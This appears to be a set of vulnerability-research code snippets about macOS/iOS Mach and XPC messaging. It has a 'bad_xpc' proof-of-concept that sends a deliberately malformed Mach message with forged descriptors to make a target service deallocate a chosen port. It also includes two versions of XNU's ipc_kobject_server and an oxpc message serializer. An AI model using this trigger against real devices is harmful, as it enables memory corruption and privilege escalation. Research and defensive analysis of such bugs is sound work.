void bad_xpc(mach_port_t p) { kern_return_t err; struct xpc_bad_ool msg = {0}; msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX); msg.hdr.msgh_size = sizeof(msg); msg.hdr.msgh_remote_port = p; msg.hdr.msgh_id = 0x10000000; msg.body.msgh_descriptor_count = 0; msg.ool0.address = 0x414141414141; msg.ool0.size = 0x4000; msg.ool0.type = MACH_MSG_OOL_DESCRIPTOR; msg.port1.name = 0x41414141; // port name to mach_port_deallocate in target msg.port1.disposition = 0x11; msg.port1.type = MACH_MSG_PORT_DESCRIPTOR; msg.ool2.address = 0x414141414141; msg.ool2.size = 0x4000; msg.ool2.type = MACH_MSG_OOL_DESCRIPTOR; err = mach_msg(&msg.hdr, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, msg.hdr.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); if (err != KERN_SUCCESS) { printf("xpc message send failed: %s\n", mach_error_string(err)); exit(EXIT_FAILURE); } else { printf("sent xpc message\n"); } }
ipc_kmsg_t ipc_kobject_server( ipc_kmsg_t request, mach_msg_option_t __unused option) { mach_msg_size_t reply_size; ipc_kmsg_t reply; kern_return_t kr; ipc_port_t *destp; ipc_port_t replyp = IPC_PORT_NULL; mach_msg_format_0_trailer_t *trailer; mig_hash_t *ptr; task_t task = TASK_NULL; uint32_t exec_token; boolean_t exec_token_changed = FALSE; /* * Find out corresponding mig_hash entry if any */ { int key = request->ikm_header->msgh_id; unsigned int i = (unsigned int)MIG_HASH(key); int max_iter = mig_table_max_displ; do { ptr = &mig_buckets[i++ % MAX_MIG_ENTRIES]; } while (key != ptr->num && ptr->num && --max_iter); if (!ptr->routine || key != ptr->num) { ptr = (mig_hash_t *)0; reply_size = mig_reply_size; } else { reply_size = ptr->size; #if MACH_COUNTER ptr->callcount++; #endif } } /* round up for trailer size */ reply_size += MAX_TRAILER_SIZE; reply = ipc_kmsg_alloc(reply_size); if (reply == IKM_NULL) { printf("ipc_kobject_server: dropping request\n"); ipc_kmsg_trace_send(request, option); ipc_kmsg_destroy(request); return IKM_NULL; } /* * Initialize reply message. */ { #define InP ((mach_msg_header_t *) request->ikm_header) #define OutP ((mig_reply_error_t *) reply->ikm_header) /* * MIG should really assure no data leakage - * but until it does, pessimistically zero the * whole reply buffer. */ bzero((void *)OutP, reply_size); OutP->NDR = NDR_record; OutP->Head.msgh_size = sizeof(mig_reply_error_t); OutP->Head.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSGH_BITS_LOCAL(InP->msgh_bits), 0, 0, 0); OutP->Head.msgh_remote_port = InP->msgh_local_port; OutP->Head.msgh_local_port = MACH_PORT_NULL; OutP->Head.msgh_voucher_port = MACH_PORT_NULL; OutP->Head.msgh_id = InP->msgh_id + 100; #undef InP #undef OutP } /* * Find the routine to call, and call it * to perform the kernel function */ ipc_kmsg_trace_send(request, option); { if (ptr) { /* * Check if the port is a task port, if its a task port then * snapshot the task exec token before the mig routine call. */ ipc_port_t port = request->ikm_header->msgh_remote_port; if (IP_VALID(port) && ip_kotype(port) == IKOT_TASK) { task = convert_port_to_task_with_exec_token(port, &exec_token); } (*ptr->routine)(request->ikm_header, reply->ikm_header); /* Check if the exec token changed during the mig routine */ if (task != TASK_NULL) { if (exec_token != task->exec_token) { exec_token_changed = TRUE; } task_deallocate(task); } kernel_task->messages_received++; } else { if (!ipc_kobject_notify(request->ikm_header, reply->ikm_header)){ #if DEVELOPMENT || DEBUG printf("ipc_kobject_server: bogus kernel message, id=%d\n", request->ikm_header->msgh_id); #endif /* DEVELOPMENT || DEBUG */ _MIG_MSGID_INVALID(request->ikm_header->msgh_id); ((mig_reply_error_t *) reply->ikm_header)->RetCode = MIG_BAD_ID; } else kernel_task->messages_received++; } kernel_task->messages_sent++; } /* * Destroy destination. The following code differs from * ipc_object_destroy in that we release the send-once * right instead of generating a send-once notification * (which would bring us here again, creating a loop). * It also differs in that we only expect send or * send-once rights, never receive rights. * * We set msgh_remote_port to IP_NULL so that the kmsg * destroy routines don't try to destroy the port twice. */ destp = (ipc_port_t *) &request->ikm_header->msgh_remote_port; switch (MACH_MSGH_BITS_REMOTE(request->ikm_header->msgh_bits)) { case MACH_MSG_TYPE_PORT_SEND: ipc_port_release_send(*destp); break; case MACH_MSG_TYPE_PORT_SEND_ONCE: ipc_port_release_sonce(*destp); break; default: panic("ipc_kobject_server: strange destination rights"); } *destp = IP_NULL; /* * Destroy voucher. The kernel MIG servers never take ownership * of vouchers sent in messages. Swallow any such rights here. */ if (IP_VALID(request->ikm_voucher)) { assert(MACH_MSG_TYPE_PORT_SEND == MACH_MSGH_BITS_VOUCHER(request->ikm_header->msgh_bits)); ipc_port_release_send(request->ikm_voucher); request->ikm_voucher = IP_NULL; } if (!(reply->ikm_header->msgh_bits & MACH_MSGH_BITS_COMPLEX) && ((mig_reply_error_t *) reply->ikm_header)->RetCode != KERN_SUCCESS) kr = ((mig_reply_error_t *) reply->ikm_header)->RetCode; else kr = KERN_SUCCESS; if ((kr == KERN_SUCCESS) || (kr == MIG_NO_REPLY)) { /* * The server function is responsible for the contents * of the message. The reply port right is moved * to the reply message, and we have deallocated * the destination port right, so we just need * to free the kmsg. */ ipc_kmsg_free(request); } else { /* * The message contents of the request are intact. * Destroy everthing except the reply port right, * which is needed in the reply message. */ request->ikm_header->msgh_local_port = MACH_PORT_NULL; ipc_kmsg_destroy(request); } replyp = (ipc_port_t)reply->ikm_header->msgh_remote_port; if (kr == MIG_NO_REPLY) { /* * The server function will send a reply message * using the reply port right, which it has saved. */ ipc_kmsg_free(reply); return IKM_NULL; } else if (!IP_VALID(replyp)) { /* * Can't queue the reply message if the destination * (the reply port) isn't valid. */ ipc_kmsg_destroy(reply); return IKM_NULL; } else if (replyp->ip_receiver == ipc_space_kernel) { /* * Don't send replies to kobject kernel ports */ #if DEVELOPMENT || DEBUG printf("%s: refusing to send reply to kobject %d port (id:%d)\n", __func__, ip_kotype(replyp), request->ikm_header->msgh_id); #endif /* DEVELOPMENT || DEBUG */ ipc_kmsg_destroy(reply); return IKM_NULL; } /* Fail the MIG call if the task exec token changed during the call */ if (kr == KERN_SUCCESS && exec_token_changed) { /* * Create a new reply msg with error and destroy the old reply msg. */ ipc_kmsg_t new_reply = ipc_kmsg_alloc(reply_size); if (new_reply == IKM_NULL) { printf("ipc_kobject_server: dropping request\n"); ipc_kmsg_destroy(reply); return IKM_NULL; } /* * Initialize the new reply message. */ { #define OutP_new ((mig_reply_error_t *) new_reply->ikm_header) #define OutP_old ((mig_reply_error_t *) reply->ikm_header) bzero((void *)OutP_new, reply_size); OutP_new->NDR = OutP_old->NDR; OutP_new->Head.msgh_size = sizeof(mig_reply_error_t); OutP_new->Head.msgh_bits = OutP_old->Head.msgh_bits & ~MACH_MSGH_BITS_COMPLEX; OutP_new->Head.msgh_remote_port = OutP_old->Head.msgh_remote_port; OutP_new->Head.msgh_local_port = MACH_PORT_NULL; OutP_new->Head.msgh_voucher_port = MACH_PORT_NULL; OutP_new->Head.msgh_id = OutP_old->Head.msgh_id; /* Set the error as KERN_INVALID_TASK */ OutP_new->RetCode = KERN_INVALID_TASK; #undef OutP_new #undef OutP_old } /* * Destroy everything in reply except the reply port right, * which is needed in the new reply message. */ reply->ikm_header->msgh_remote_port = MACH_PORT_NULL; ipc_kmsg_destroy(reply); reply = new_reply; } trailer = (mach_msg_format_0_trailer_t *) ((vm_offset_t)reply->ikm_header + (int)reply->ikm_header->msgh_size); trailer->msgh_sender = KERNEL_SECURITY_TOKEN; trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0; trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE; return reply; }
ipc_kmsg_t ipc_kobject_server( ipc_kmsg_t request) { mach_msg_size_t reply_size; ipc_kmsg_t reply; kern_return_t kr; ipc_port_t *destp; mach_msg_format_0_trailer_t *trailer; register mig_hash_t *ptr; /* * Find out corresponding mig_hash entry if any */ { register int key = request->ikm_header->msgh_id; register int i = MIG_HASH(key); register int max_iter = mig_table_max_displ; do ptr = &mig_buckets[i++ % MAX_MIG_ENTRIES]; while (key != ptr->num && ptr->num && --max_iter); if (!ptr->routine || key != ptr->num) { ptr = (mig_hash_t *)0; reply_size = mig_reply_size; } else { reply_size = ptr->size; #if MACH_COUNTER ptr->callcount++; #endif } } /* round up for trailer size */ reply_size += MAX_TRAILER_SIZE; reply = ipc_kmsg_alloc(reply_size); if (reply == IKM_NULL) { printf("ipc_kobject_server: dropping request\n"); ipc_kmsg_destroy(request); return IKM_NULL; } /* * Initialize reply message. */ { #define InP ((mach_msg_header_t *) request->ikm_header) #define OutP ((mig_reply_error_t *) reply->ikm_header) /* * MIG should really assure no data leakage - * but until it does, pessimistically zero the * whole reply buffer. */ bzero((void *)OutP, reply_size); OutP->NDR = NDR_record; OutP->Head.msgh_size = sizeof(mig_reply_error_t); OutP->Head.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSGH_BITS_LOCAL(InP->msgh_bits), 0, 0, 0); OutP->Head.msgh_remote_port = InP->msgh_local_port; OutP->Head.msgh_local_port = MACH_PORT_NULL; OutP->Head.msgh_voucher_port = MACH_PORT_NULL; OutP->Head.msgh_id = InP->msgh_id + 100; #undef InP #undef OutP } /* * Find the routine to call, and call it * to perform the kernel function */ { if (ptr) { (*ptr->routine)(request->ikm_header, reply->ikm_header); kernel_task->messages_received++; } else { if (!ipc_kobject_notify(request->ikm_header, reply->ikm_header)){ #if MACH_IPC_TEST printf("ipc_kobject_server: bogus kernel message, id=%d\n", request->ikm_header->msgh_id); #endif /* MACH_IPC_TEST */ _MIG_MSGID_INVALID(request->ikm_header->msgh_id); ((mig_reply_error_t *) reply->ikm_header)->RetCode = MIG_BAD_ID; } else kernel_task->messages_received++; } kernel_task->messages_sent++; } /* * Destroy destination. The following code differs from * ipc_object_destroy in that we release the send-once * right instead of generating a send-once notification * (which would bring us here again, creating a loop). * It also differs in that we only expect send or * send-once rights, never receive rights. * * We set msgh_remote_port to IP_NULL so that the kmsg * destroy routines don't try to destroy the port twice. */ destp = (ipc_port_t *) &request->ikm_header->msgh_remote_port; switch (MACH_MSGH_BITS_REMOTE(request->ikm_header->msgh_bits)) { case MACH_MSG_TYPE_PORT_SEND: ipc_port_release_send(*destp); break; case MACH_MSG_TYPE_PORT_SEND_ONCE: ipc_port_release_sonce(*destp); break; default: panic("ipc_kobject_server: strange destination rights"); } *destp = IP_NULL; /* * Destroy voucher. The kernel MIG servers never take ownership * of vouchers sent in messages. Swallow any such rights here. */ if (IP_VALID(request->ikm_voucher)) { assert(MACH_MSG_TYPE_PORT_SEND == MACH_MSGH_BITS_VOUCHER(request->ikm_header->msgh_bits)); ipc_port_release_send(request->ikm_voucher); request->ikm_voucher = IP_NULL; } if (!(reply->ikm_header->msgh_bits & MACH_MSGH_BITS_COMPLEX) && ((mig_reply_error_t *) reply->ikm_header)->RetCode != KERN_SUCCESS) kr = ((mig_reply_error_t *) reply->ikm_header)->RetCode; else kr = KERN_SUCCESS; if ((kr == KERN_SUCCESS) || (kr == MIG_NO_REPLY)) { /* * The server function is responsible for the contents * of the message. The reply port right is moved * to the reply message, and we have deallocated * the destination port right, so we just need * to free the kmsg. */ ipc_kmsg_free(request); } else { /* * The message contents of the request are intact. * Destroy everthing except the reply port right, * which is needed in the reply message. */ request->ikm_header->msgh_local_port = MACH_PORT_NULL; ipc_kmsg_destroy(request); } if (kr == MIG_NO_REPLY) { /* * The server function will send a reply message * using the reply port right, which it has saved. */ ipc_kmsg_free(reply); return IKM_NULL; } else if (!IP_VALID((ipc_port_t)reply->ikm_header->msgh_remote_port)) { /* * Can't queue the reply message if the destination * (the reply port) isn't valid. */ ipc_kmsg_destroy(reply); return IKM_NULL; } trailer = (mach_msg_format_0_trailer_t *) ((vm_offset_t)reply->ikm_header + (int)reply->ikm_header->msgh_size); trailer->msgh_sender = KERNEL_SECURITY_TOKEN; trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0; trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE; return reply; }
// serialize an oxpc object to a mach message which can be sent // to an xpc service // assumes COPY_SEND disposition for ports if they are non-zero // doesn't send a voucher port void* oxpc_object_serialize_to_mach_message( oxpc_object_t obj, mach_port_t destination_port, mach_port_t reply_port, size_t* mach_message_size) { size_t serialized_payload_size = 0; oxpc_port_list_t port_list = NULL; void* serialized_payload = oxpc_object_serialize(obj, &serialized_payload_size, &port_list); int is_complex_message = port_list->count > 0; int xpc_header_size = 8; // XPC! + u32 version number size_t total_size = sizeof(mach_msg_header_t) + xpc_header_size + serialized_payload_size; if (is_complex_message) { total_size += sizeof(mach_msg_body_t) + (port_list->count * sizeof(mach_msg_port_descriptor_t)); } uint8_t* message = malloc(total_size); if (!message) { ERROR("not enough memory to allocate mach message"); } memset(message, 0, total_size); mach_msg_header_t* hdr = (mach_msg_header_t*)message; mach_msg_type_name_t destination_disposition = 0; if (destination_port != MACH_PORT_NULL) { destination_disposition = MACH_MSG_TYPE_COPY_SEND; } mach_msg_type_name_t reply_disposition = 0; if (reply_port != MACH_PORT_NULL) { reply_disposition = MACH_MSG_TYPE_COPY_SEND; } hdr->msgh_bits = MACH_MSGH_BITS_SET(destination_disposition, reply_disposition, 0, is_complex_message ? MACH_MSGH_BITS_COMPLEX : 0); hdr->msgh_size = total_size; hdr->msgh_remote_port = destination_port; hdr->msgh_local_port = reply_port; hdr->msgh_voucher_port = MACH_PORT_NULL; hdr->msgh_id = 0x10000000; void* message_body = (void*)(hdr+1); if (is_complex_message) { mach_msg_body_t* body = (mach_msg_body_t*)message_body; body->msgh_descriptor_count = port_list->count; mach_msg_port_descriptor_t* desc = (mach_msg_port_descriptor_t*)(body+1); for (size_t i = 0; i < port_list->count; i++) { desc->name = port_list->ports[i]; desc->disposition = MACH_MSG_TYPE_COPY_SEND; desc->type = MACH_MSG_PORT_DESCRIPTOR; desc++; } message_body = (void*)(desc); } // append the XPC header magic uint32_t* xpc_magic = (uint32_t*)message_body; *xpc_magic = 'XPC!'; uint32_t* xpc_version = xpc_magic + 1; *xpc_version = 5; void* xpc_message_body_payload = (void*)(xpc_version+1); memcpy(xpc_message_body_payload, serialized_payload, serialized_payload_size); *mach_message_size = total_size; oxpc_port_list_free(port_list); return message; }